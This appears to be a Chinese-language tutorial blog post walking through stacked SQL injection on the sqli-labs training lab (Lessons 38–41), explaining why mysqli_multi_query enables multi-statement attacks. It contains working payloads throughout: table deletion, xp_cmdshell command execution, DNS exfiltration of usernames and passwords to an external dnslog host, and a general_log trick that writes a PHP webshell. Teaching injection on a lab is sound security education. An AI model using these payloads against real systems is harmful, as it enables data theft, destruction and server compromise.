WEB常见漏洞之SQL注入(靶场篇—3)1

本文涉及的产品
RDS Agent(兼容OpenClaw),2核4GB
RDS DuckDB + QuickBI 企业套餐,8核32GB + QuickBI 专业版
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
简介: WEB常见漏洞之SQL注入(靶场篇—3)

0x01 堆叠注入 38-53

堆叠注入原理

在 SQL 中分号;用来表示一条SQL语句的结束,在;后再添加一条SQL语句会导致两条语句一起执行,这就是堆叠注入。它与联合查询注入有什么区别呢?区别就是联合查询使用的unionunion select执行语句的类型是有限的,它只能使用查询语句;而堆叠注入可执行任意语句。举例如下:

# 用户提交

id=1;deletefrom users

# 如果服务器未检查就会直接生成SQL语句

SELECT*FROM users WHERE id=1;DELETEFROM users

# 执行后会显示查询信息,然后删除整个表

当然堆叠注入不是在每种环境下都可执行,它可能收到 API 或数据库引擎不支持的限制,与此同时权限不足也会导致攻击者无法修改数据或调用程序。这种注入方式并不是完美的,通常情况下 web 应用系统只会返回一个查询结果,因此会导致第二个查询语句被忽略或报错,我们在前端无法查看到返回结果。联合查询注入应与堆叠注入相辅相成。尝试读取数据可使用联合查询注入,堆叠注入也需要依赖联合查询拿到的表名、列名等。以下将介绍几个常用数据库的增删改查

MySQL

select*from users where id=1;createtable test like users;#新建test表

select*from users where id=1;droptable test;#删除test表

select*from users where id=1;select1,2,3;#查询数据

select*from users where id=1;select load_file('c:/mac.php')#读取文件

select*from users where id=1;insertinto users(id,username,password)values('50','mac','mac')#添加数据

需要注意的是load_file()函数可读取文件并返回字符串内容。与此同时我们要满足以下条件:

  • 需要读取的文件必须存在于服务器上且知道它的绝对路径
  • 当前用户具有 FILE 权限
  • 需要读取的文件所有字节刻度,但内容必须小于max_allowed_packet

至于 MySQL 默认导出导出参数secure_file_priv已经在 Lesson7 中介绍过了,这里就不再赘述。

SQL Server

select*from users where id=1;createtable test(ss CHAR(8));#新建test表

select*from users where id=1;droptable test;#删除test表

select*from users where id=1;select1,2,3;#查询数据

select*from users where id=1;update test set name='mac'where id=1;#修改数据

select*from users where id=1;exec master..xp_cmdshell 'ipconfig';#命令执行

Oracle

Oracle 不能使用堆叠注入,同一行中执行两条语句会直接报错无效字符

PostgreSQL

select*from users where id=1;createtable test(id Date);#新建test表

select*from users where id=1;deletefrom test;#删除test表

select*from users where id=1;select1,2,3;#查询数据

select*from users where id=1;update test set name='mac'where id=1;#修改数据

Lesson-38

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入


id=1'

目标SQL语句如下:

$sql=select*fromuserswhereid='$id'limit0,1

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题与Lesson1的利用方式相同,唯一的区别在于mysqli_multi_query()函数,该函数可用于执行一个或多个使用分号分隔的SQL语句,由于支持多个SQL语句那我们就可使用堆叠注入进行利用

由于堆叠可执行任意 SQL 语句,那么我们就有多种方式进行注入利用,使用堆叠注入判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

添加字段值


id=1';insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加


id=-1' union select 1,group_concat(username),group_concat(password) from users--+

dnslog外带数据利用:load_file()在 Linux 下无法使用 dnslog 进行攻击,这是因为 Windows 有 UNC 路径,而 Linux 没有。那什么是 UNC 路径呢?UNC 路径是通过命名规定用于远程共享文件的一种格式,具体格式如下:


\\servername\sharename\filname

例如\\192.168.0.132\mac\是一个的典型的 UNC 路径,MySQL 中的concat函数会拼接这其中的反斜杠符\,通过转移反斜杠符\变成了两个反斜杠符\\,利用 UNC 路径可完成 dnslog 外带数据攻击


id=1';select load_file(concat('\\\\',(select hex(concat_ws(0x7e,username,password)) from users limit 0,1),'.qk9fw5.ceye.io\\mac'))--+

在 dnslog 平台上返回查询结果,使用 hex 编码可有效减少特殊符号的干扰

解码 hex 编码还原数据


echo 44756D627E44756D62 | python3 -c "import sys, binascii; sys.stdout.buffer.write(binascii.unhexlify(input().strip()))"

在 MySQL 还可以利用日志获取权限,首先查询当前日志的相关配置


SHOW VARIABLES LIKE 'general%';

尝试通过堆叠注入开启日志并设置日志存储路径


id=1';set global general_log="on";set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\mac.php';--+

再次查看日志,发现日志配置已修改完成


SHOW VARIABLES LIKE 'general%';

尝试写入webshell


id=1';select <?php phpinfo();?>

访问木马地址mac.php成功解析

Lesson-39

该题为数字型get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql=select*fromuserswhereid=$idlimit0,1

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了数字

使用堆叠注入判断注入点,尝试验证

id=1AND1=1 //返回正常界面

640.png

id=1AND1=2 //返回错误界面

添加字段值

id=1;insertinto users(username,password)values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1unionselect1,group_concat(username),group_concat(password)from users--+

Lesson-40

该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入

id=1'

640.png

目标SQL语句如下:

$sql=select*fromuserswhereid=('$id') limit0,1

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出空;

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入

使用堆叠注入判断注入点,尝试验证

id=1') AND ('1')=('1 //返回正常界面

id=1AND1=2 //返回错误界面

添加字段值

id=1');insert into users(username,password) values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Lesson-41

该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入

id=1'

目标SQL语句如下:

$sql=select*fromuserswhereid=$idlimit0,1

# 返回内容

ifmysqli_multi_query($con1, $sql):

  输出查询内容;

else:

  输出空;

注意:该题与Lesson38的利用方式相同,唯一的区别在于拼接方式由单引号转为了单括号单引号,同时不再输出详细的报错信息,因此无法使用报错注入

使用堆叠注入判断注入点,尝试验证

id=1AND1=1 //返回正常界面

id=1AND1=2 //返回错误界面

添加字段值

id=1;insertinto users(username,password)values('mac','mac')--+

通过联合查询查看数据,发现字段值已添加

id=-1unionselect1,group_concat(username),group_concat(password)from users--+

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
8月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
2536 1
Web渗透-文件上传漏洞-上篇
|
8月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
643 1
|
8月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
1277 79
web渗透-文件包含漏洞
|
8月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2601 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
8月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
665 0
web渗透-CSRF漏洞
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
SQL 安全 Java
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接。错误:“The server selected protocol version TLS10 is not accepted by client
1920 0
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
383 6
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
618 9
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
889 13